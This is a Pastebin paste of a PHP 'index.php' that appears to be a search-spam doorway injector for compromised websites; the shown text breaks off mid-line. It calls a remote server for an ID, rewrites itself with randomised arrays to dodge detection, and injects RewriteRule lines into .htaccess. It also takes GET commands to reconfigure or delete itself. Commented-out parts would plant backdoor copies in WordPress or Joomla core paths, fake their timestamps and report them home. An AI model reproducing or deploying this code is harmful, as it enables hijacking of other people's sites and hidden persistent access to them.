PalmaSolutions

index.php

Dec 28th, 2017
594
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 66.02 KB | None | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3. @set_time_limit(3600);
  4. define("DOMTXT","/jdd/");
  5. define("GETDOM","http://www.japandate-2.xyz/jpdd171220qi-0/");
  6. define("FNUM",50);
  7. define("JGNUM","40");
  8. define("LINKNUM","12");
  9. define("BZSITE","s");
  10. define("BZPRO","x");
  11. //msbg
  12. define("JDT","1");
  13. //msend
  14. //jthouzuibg
  15. define("JTHZ","/");
  16. //jthouzuiend
  17.  
  18.  
  19. // #llqllq#arr_nametimebg
  20.  
  21. $arrnametime[]="2";
  22. $arrnametime[]="1";
  23. $arrnametime[]="3";
  24. $arrnametime[]="4";
  25.  
  26.  
  27. // #llqllq#arr_nametimeend
  28.  
  29. // #llqllq#arr_wordbg
  30.  
  31. $arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="3";
  32.  
  33. // #llqllq#arr_wordend
  34.  
  35.  
  36. // #llqllq#arr_keywz
  37.  
  38. $arrKeywz[]="8";
  39. $arrKeywz[]="10";
  40. $arrKeywz[]="7";
  41. $arrKeywz[]="6";
  42. $arrKeywz[]="9";
  43. $arrKeywz[]="5";
  44. $arrKeywz[]="11";
  45. $arrKeywz[]="4";
  46. $arrKeywz[]="12";
  47.  
  48.  
  49. // #llqllq#arr_keywzend
  50. // #llqllq#arr_fuhao
  51.  
  52. $arrfh[]=";";
  53. $arrfh[]="?";
  54. $arrfh[]=",";
  55. $arrfh[]="。";
  56. $arrfh[]="、";
  57. $arrfh[]="!";
  58. $arrfh[]="……";
  59. $arrfh[]=" ";
  60.  
  61.  
  62. // #llqllq#arr_fuhaoend
  63.  
  64.  
  65. $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
  66.  
  67.  
  68.  
  69. // #llqllq#randkeybg
  70. $strRand[0]="vihrdknlapfcqxygemstbjozuw";
  71. $strRand[1]="ynstrzlexwhjaubfgvdkiopcqm";
  72. $strRand[2]="owjkeacgzbtlqmvfnxhuiypdsr";
  73. $strRand[3]="oscghxrnjkzbvtemuaywdfilqp";
  74. $strRand[4]="vptrwohimdybxuzkscagejnlqf";
  75. $strRand[5]="wmydqfgjrluevpitknzxcsahob";
  76. $strRand[6]="yjviotuxhrgeplksmbqfcwzdna";
  77. $strRand[7]="shpaygjimcnxkwtdzuveorbqfl";
  78. $strRand[8]="mbinyhdfgsotlawuxrjvekczpq";
  79. $strRand[9]="varfgebcknswdulihxpjyzmotq";
  80. $strRand[10]="haeuxrfjzqymtbognilskcdvwp";
  81. $strRand[11]="jyoitcukprdwlaezqbxsgvfnmh";
  82. $strRand[12]="hdlngcebwpkrtozymvuxafsqij";
  83. $strRand[13]="dkeqncaohxzuljwtrmfygsvpib";
  84. $strRand[14]="suofkthnqedzgcjpxvwramliby";
  85. $strRand[15]="ouydtjxqbigphwlzmsvckfarne";
  86. $strRand[16]="zcisbyhgdapltnrxvmjeufokwq";
  87. $strRand[17]="caekjdvgxroitpblqfnuhswmzy";
  88. $strRand[18]="fujbdxhlwmcaqrsyvoiznpkegt";
  89. $strRand[19]="rqgaudfvonlmisbjzetypxhkwc";
  90. $strRand[20]="rokveqyfzcdglnxapmwijsuhtb";
  91. $strRand[21]="vadinbkgpmuzhorycqxtfswejl";
  92. $strRand[22]="dclpsmxkryqovawnjgftbezuhi";
  93. $strRand[23]="hdgfckxoiatqeynmvzuswrljpb";
  94. $strRand[24]="eqwafhpdujblcntvizgoxrysmk";
  95. $strRand[25]="mvswonryqlfhecdtxazgkpijbu";
  96. $strRand[26]="pfsxtwgkudzrioneyajchvblqm";
  97. $strRand[27]="caywrxhtubsgizdqflknomevjp";
  98. $strRand[28]="hxlvanmierodcyjstbgpzkfuwq";
  99. $strRand[29]="uzpcbtnlkjxghrmiqwdveoyafs";
  100. $strRand[30]="igovnhbjatueympksrzlxcfwdq";
  101. $strRand[31]="bavctuwsyjmlxqdgekzronhpfi";
  102. $strRand[32]="zvqdiljeoxantgywmfchpuskrb";
  103. $strRand[33]="aduvjehfpsrlzbmywqtkocgnxi";
  104. $strRand[34]="xaqrtuyhbdglvozsifmckpewjn";
  105. $strRand[35]="weqnyuabhzmpjtidslrokxfgcv";
  106. $strRand[36]="oxhzldnqiempswfgbcavrjykut";
  107. $strRand[37]="ofkmicpdtayrlzsgebnuxhvjqw";
  108. $strRand[38]="xnzikgladyvhtwocqbmefupsrj";
  109. $strRand[39]="ndbufzovkitcxjpwylmgrhaeqs";
  110. $strRand[40]="lgdxoyjiaqmrkptevsubncfhzw";
  111. $strRand[41]="fgamcdnykhsuxvplieqobjtrwz";
  112. $strRand[42]="kwoytgbaslpnidqzmxrjcuvhfe";
  113. $strRand[43]="ncatisdqbmukxwvpljhrzegfoy";
  114. $strRand[44]="wtrvojkexsfygnahcbulqmpdzi";
  115. $strRand[45]="iwbexocnzmaqvthyukdgrsfjlp";
  116. $strRand[46]="zhefwvrdsugjxnpiyoqmbktacl";
  117. $strRand[47]="ukqhfbgisoymxaecpljvndrwtz";
  118. $strRand[48]="ukrmavcfybzxewqsjotligndhp";
  119. $strRand[49]="onemxzkqfijypbrahsutglvcwd";
  120. $strRand[50]="lpixretmyqdawsuknbchjogvzf";
  121. $strRand[51]="tiyanuwopkrhgjzcqvlfebmxds";
  122. $strRand[52]="ftzuasyqmoedpnjrvhcwxklbig";
  123. $strRand[53]="mapfgxwrvijetousbnhdkczyql";
  124. $strRand[54]="hpaxrfmgqvdkowzinslbtjceyu";
  125. $strRand[55]="xkeyqwpotsgvjczrnuihlbdafm";
  126. $strRand[56]="vwuoqbxjhapyrtzcfkimdnlsge";
  127. $strRand[57]="jabrqsfipocdxmtnlkeuyhvwzg";
  128. $strRand[58]="hqbtewsvprouclngdyxziakfmj";
  129. $strRand[59]="zvildxyqgpaeurntfomkscjhbw";
  130. $strRand[60]="bioksprmyjugtaweqnldhvzfxc";
  131. $strRand[61]="mtziabnvkquoewrldcyshpjxfg";
  132. $strRand[62]="ivhoclwdybazftksxugpeqmrjn";
  133. $strRand[63]="yjwplhqtgcfsekiuarvzxodmbn";
  134. $strRand[64]="zpnormjsqlucevaihfxdktbwyg";
  135. $strRand[65]="hxfkegvcqzditsajlmnubprwyo";
  136. $strRand[66]="dapnbomseyqwjfkvihgzxrctul";
  137. $strRand[67]="nbxtefuqpsigojrzmhklcdywva";
  138. $strRand[68]="ealfdpwrmscnhvzkjgbytiqxou";
  139. $strRand[69]="uqxwzptakofhsrynlgdibjvemc";
  140. $strRand[70]="amhcjvloktxendrbwgusiyzfpq";
  141. $strRand[71]="vhmtpfcldjiekosxzuarnwbygq";
  142. $strRand[72]="pvkiaoqncuhylwgjdmxzftrbes";
  143. $strRand[73]="ygcdfowulznsexiabmkhpjrqvt";
  144. $strRand[74]="ldghacpmynuzqvkojtebsxrwfi";
  145. $strRand[75]="uhtigeomnyqdpscvbkaxrlfjzw";
  146. $strRand[76]="vxythuzfnlbsopracigmqkdwej";
  147. $strRand[77]="mavnyxtegozrljsfwhpcubkqid";
  148. $strRand[78]="iotmhxzegucblrqkwjdapvysnf";
  149. $strRand[79]="rnzbgxdqeyksiwafhmtolvcupj";
  150. $strRand[80]="zclmnaisedqpuoygtjxhwkbfvr";
  151. $strRand[81]="zdfgrnwtevxlcymuskibhqajop";
  152. $strRand[82]="rmgeptviwalojuskyqbxnzfhcd";
  153. $strRand[83]="asmrnoydefgjtvzubphcwiqxkl";
  154. $strRand[84]="itzojpdxalcyqkunrbhfmeswvg";
  155. $strRand[85]="yavuwhqxmnksplzdftiojcgreb";
  156. $strRand[86]="drnbymlvgujqphietwxkcsofza";
  157. $strRand[87]="jrhvbtwfueampynsiqxdkzocgl";
  158. $strRand[88]="dsqzipktmyvfrlxcujnabewgho";
  159. $strRand[89]="hfvdmoyusaprxlqgtbezjnkwci";
  160. $strRand[90]="ixtglahfmbvkqeoupscwrndyjz";
  161. $strRand[91]="kjebhfqnlrosmgvywtxucaizpd";
  162. $strRand[92]="lkyqbeiopawfxthgmndvrzucjs";
  163. $strRand[93]="wscmtxdljuigrhfykezbaqnovp";
  164. $strRand[94]="zygvqjefsdhtlpwakiomxubnrc";
  165. $strRand[95]="epsnbvoydckgamxtwfjzhruqil";
  166. $strRand[96]="xehywgiscunazfbvotkdmjrlpq";
  167. $strRand[97]="ohvkqtzmxrgunepyawsblidjfc";
  168. $strRand[98]="fmhqyrectapxonsgvkjlzwdbiu";
  169. $strRand[99]="drqntpzjgmusklvbaeiowxyhcf";
  170.  
  171. // #llqllq#randkeyend
  172.  
  173.  
  174. $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
  175.  
  176.  
  177. // iiiiiiiiibg
  178.  
  179.  
  180. function sys_type(){
  181.  
  182. global $hostDir;
  183. if(file_exists("$hostDir/wp-config.php")){
  184. return 'wp';
  185. }elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig")){
  186. return 'Joomla';
  187. }else{
  188. return 'other';
  189. }
  190.  
  191. }
  192.  
  193.  
  194. function getFileType($filename){
  195. $rs = '#.*\.([^\s]+)#i';
  196. preg_match($rs,$filename,$matchType);
  197. return $matchType[1];
  198. }
  199.  
  200.  
  201. function getTypeImg($source, &$destination, $num, $type){
  202.  
  203. global $numHostDir;
  204. $handle = opendir($source);
  205. while(($file = readdir($handle)) !== false){
  206. if($file != '.' && $file != '..') {
  207. $src = $source . DIRECTORY_SEPARATOR . $file;
  208.  
  209. if(is_dir($src) && !strstr($src,'/cache')){
  210. getTypeImg($src, $destination, $num, $type);
  211. }else{
  212. if(count($destination) >= $num)
  213. return count($destination);
  214.  
  215. $tempType = getFileType($file);
  216. if(strstr($type,$tempType)){
  217. $tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
  218.  
  219. if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
  220. $destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
  221. }
  222. }
  223. }
  224. }
  225. }
  226. closedir($handle);
  227. }
  228.  
  229.  
  230.  
  231. if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
  232.  
  233.  
  234. if(isset($_SERVER['DOCUMENT_ROOT'])){
  235. $hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
  236. }elseif(isset($_SERVER['PHP_SELF'])){
  237. $hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
  238. }else{
  239. $hostDir = '/';
  240. }
  241.  
  242. $hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
  243.  
  244. // $sysType = sys_type();
  245.  
  246.  
  247. // if($sysType == 'wp'){
  248. // $backupfile1 = $hostDir.'wp-includes/customize/class-wp-customize-filters-setting.php';
  249. // $backupfile2 = $hostDir.'wp-admin/includes/medias.php';
  250. // $fitime = filemtime($hostDir.'wp-admin/includes/');
  251. // }elseif($sysType == 'Joomla'){
  252. // $backupfile1 = $hostDir.'modules/mod_search/tmpl/defaults.php';
  253. // $backupfile2 = $hostDir.'libraries/joomla/cache/storage/memcaches.php';
  254. // $fitime = filemtime($hostDir.'modules/mod_search/');
  255.  
  256. // }else{
  257.  
  258. // $numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
  259.  
  260. // $arrphpDir = array();
  261.  
  262. // getTypeImg($hostDir,$arrphpDir,2,'php');
  263.  
  264. // $i=1;
  265. // foreach($arrphpDir as $key=>$vs){
  266.  
  267. // $fitime = filemtime($key);
  268.  
  269. // list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
  270. // $tempMyVs = 'backupfile'.$i++;
  271.  
  272. // $$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
  273.  
  274. // while(file_exists($$tempMyVs)){
  275. // $$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
  276. // }
  277.  
  278.  
  279. // }
  280.  
  281. // }
  282.  
  283. // $backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
  284. // $backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
  285.  
  286.  
  287.  
  288.  
  289. $str = file_get_contents("index.php");
  290.  
  291. $r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';
  292. shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
  293. $rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
  294.  
  295. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  296.  
  297.  
  298. $r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = '';
  299. $arrWordOld = array(2,3,4,2,2,3,4,3,3,4); $rp2 = '';
  300. for($i=0;$i<12;$i++){
  301. shuffle($arrWordOld);
  302. foreach($arrWordOld as $vtemps)
  303. $rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";';
  304. }
  305.  
  306. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  307.  
  308. $r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';
  309. shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
  310. $rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
  311.  
  312. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  313.  
  314. $r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';
  315. $arrABC = range('a','z');
  316. $strTemp1 = ''; for($i=0;$i<100;$i++){
  317. shuffle($arrABC);
  318. $strtemp = ''; foreach($arrABC as $value){
  319. $strtemp .= $value; }
  320.  
  321. $strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
  322. $str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
  323.  
  324.  
  325. $num = rand(1,FNUM); $num = $num - 1;
  326.  
  327.  
  328.  
  329. $idUrl = GETDOM . "gpage.php?act=getIndex&site=$thisdom";
  330. $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  331. $indexId = trim($tempIdStr);
  332.  
  333. $rsId = '#^\d+-\d+-\d+$#i';
  334. if(!preg_match($rsId,$tempIdStr)){
  335. echo 'please open this url (then run the rset): '.GETDOM .'gfile.php?site='.$thisdom;
  336. die();
  337. }
  338.  
  339. $str = str_replace('$id = "0-3218-25168"; //llq index id', '$id = "'. $indexId .'"; //llq index id', $str);
  340.  
  341.  
  342.  
  343. $r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str);
  344. file_put_contents(__FILE__, $str);
  345.  
  346. $dirNames = dirname(__FILE__);
  347. $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  348. $PreDir = ''; if(JDT == 1){
  349. $UrlBaseDir = $httcReplace; $RewriteOnDir = '';
  350. }else{
  351.  
  352. $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
  353. }
  354. $strhtt = ''; if (file_exists("$PreDir.htaccess")){
  355.  
  356. @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess");
  357. }
  358.  
  359. if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
  360. {
  361. $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{
  362. $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); }
  363.  
  364. if(1){
  365.  
  366. $r1 = '#(.*RewriteBase.*)#i';
  367. $r2 = '#RewriteRule#i';
  368.  
  369. $rsut = '\1'.PHP_EOL .
  370. 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  371. 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  372. 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  373. 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  374. 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  375. 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  376. 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  377. 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL;
  378.  
  379.  
  380.  
  381. $rsut2 = PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  382. 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  383. 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  384. 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  385. 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  386. 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL .
  387. 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .
  388. 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ;
  389.  
  390.  
  391. if(preg_match($r1,$strhtt)){
  392. $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{
  393. $strhtt = preg_replace($r2,$rsut2,$strhtt,1); }
  394.  
  395. if(JDT == 1 or JDT == 0){
  396. file_put_contents("$PreDir.htaccess", $strhtt);
  397. }
  398. }
  399.  
  400.  
  401.  
  402. $str = file_get_contents(__FILE__);
  403. if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
  404. $str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
  405. echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";
  406. }
  407.  
  408. if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
  409. $str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);
  410. echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";
  411. }
  412.  
  413. preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut);
  414. $backStr = $matchPut[1];
  415.  
  416.  
  417.  
  418.  
  419. // $$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15}.$O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33}.$O00O0O{63}.$O00O0O{19}.$O00O0O{14}.$O00O0O{15}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
  420.  
  421.  
  422. // generate_dir_file($backupfile1);
  423. // generate_dir_file($backupfile2);
  424.  
  425.  
  426. // if($backStr){
  427. // $backStr = '<?php'.PHP_EOL .$backStr;
  428. // if(isset($backupfile1) && $backupfile1){
  429. // if(file_put_contents($backupfile1,$backStr))
  430. // $flagRdir1 = 1;
  431. // else
  432. // $flagRdir1 = 0;
  433. // }
  434.  
  435. // if(isset($backupfile2) && $backupfile2){
  436. // if(file_put_contents($backupfile2,$backStr))
  437. // $flagRdir2 = 1;
  438. // else
  439. // $flagRdir2 = 0;
  440. // }
  441.  
  442. // @touch($backupfile1, $fitime, $fitime);
  443. // @touch(dirname($backupfile1), $fitime, $fitime);
  444. // @touch($backupfile2, $fitime, $fitime);
  445. // @touch(dirname($backupfile2), $fitime, $fitime);
  446.  
  447.  
  448. // }
  449.  
  450.  
  451.  
  452.  
  453. // $dateArr['dom'] = $thisdom;
  454. // $dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  455. // $dateArr['indexhyFile'] = __FILE__;
  456. // $dateArr['mbFile'] = str_replace('index.php','moban.html',$dateArr['indexhyFile']);
  457. // $dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
  458. // $dateArr['act'] = 'pt';
  459.  
  460.  
  461. // if($backupfile1){
  462. // $bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
  463. // $dateArr['backupfile1'] = $bfileurl1;
  464. // }
  465. // if($backupfile2){
  466. // $bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
  467. // $dateArr['backupfile2'] = $bfileurl2;
  468. // }
  469.  
  470.  
  471. // $staus = backup_install($dateArr);
  472.  
  473.  
  474. // if($staus == '#ok#'){
  475. // echo '<br/>backup ok!<br/>';
  476. // }
  477.  
  478.  
  479. echo '<br/>rset ok!<br/>';
  480.  
  481. }
  482.  
  483.  
  484.  
  485. if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
  486. $strDefault = file_get_contents(__FILE__);
  487. $strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
  488.  
  489. if(isset($_GET["moshi"])){
  490.  
  491. if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
  492. echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); }
  493. if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
  494. @unlink(".htaccess"); }
  495.  
  496. $strDefault = file_get_contents(__FILE__);
  497.  
  498. $r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
  499. $rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
  500.  
  501. $strDefault = str_replace('define("JDT","1");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
  502.  
  503.  
  504. if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
  505. $strDefault = file_get_contents(__FILE__);
  506. $strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";}
  507.  
  508. if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
  509. $str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si';
